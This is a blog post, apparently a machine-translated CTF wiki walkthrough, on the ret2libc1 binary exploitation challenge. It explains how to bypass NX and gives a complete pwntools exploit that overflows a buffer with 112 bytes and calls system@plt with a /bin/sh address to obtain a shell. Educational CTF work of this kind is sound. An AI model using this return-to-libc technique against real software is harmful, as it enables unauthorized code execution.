当前位置:网站首页>Learn PWN from CTF wiki - ret2libc1
Learn PWN from CTF wiki - ret2libc1
2022-07-05 23:49:00 【Big Ruida】
ret2libc
principle
perform libc Medium /bin/sh
step
First , Check the security protection of the program
Turn on NX:no executable
( Non executable memory data pages )
( Can not make use of ret2text And ret2shellcode)
secondly , Check if there is /bin/sh
Check if there is system (segment yes plt, No extern)
/bin/sh, Is a string , Need to know the address .
system, Is a callable function , Need to know the address .
use system call /bin/sh that will do
So write payload, Addressing mode can be viewed Previous blogs , A fellow 112.
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
call libc Format of function :
system_plt + 4 Bytes (32 Bit address ) + /bin/sh character string
Here we need to pay attention to the structure of the function call stack , If it is a normal call system function , When we call, there will be a corresponding return address , Here we use ’bbbb’ As a false address , The parameter content corresponding to the subsequent parameters .
This example is relatively simple , It also provides system Address and /bin/sh The address of , But most programs don't have such a good situation .
边栏推荐
猜你喜欢
My colleagues quietly told me that flying Book notification can still play like this
CIS基准测试工具kube-bench使用
Initialiser votre vecteur & initialisateur avec une liste Introduction à la Liste
Biased sample variance, unbiased sample variance
Attacking technology Er - Automation
How to get all the values stored in localstorage
成为程序员的你,后悔了吗?
20220703 周赛:知道秘密的人数-动规(题解)
Tips for using pads router
[day39 literature extensive reading] a Bayesian perspective on magnetic estimation
随机推荐
My colleagues quietly told me that flying Book notification can still play like this
Laser slam learning record
Redis high availability - master-slave replication, sentinel mode, cluster
多普勒效應(多普勒頻移)
Spire.PDF for NET 8.7.2
多普勒效应(多普勒频移)
How to enable relationship view in phpMyAdmin - how to enable relationship view in phpMyAdmin
如何让同步/刷新的图标(el-icon-refresh)旋转起来
[EF core] mapping relationship between EF core and C data type
PADS ROUTER 使用技巧小记
Neural structured learning 4 antagonistic learning for image classification
【luogu CF487E】Tourists(圆方树)(树链剖分)(线段树)
动态规划 之 打家劫舍
【LeetCode】5. Valid palindrome
Scala concurrent programming (II) akka
Initialize your vector & initializer with a list_ List introduction
如何获取localStorage中存储的所有值
GFS分布式文件系统
MySQL delete uniqueness constraint unique
保研笔记一 软件工程与计算卷二(1-7章)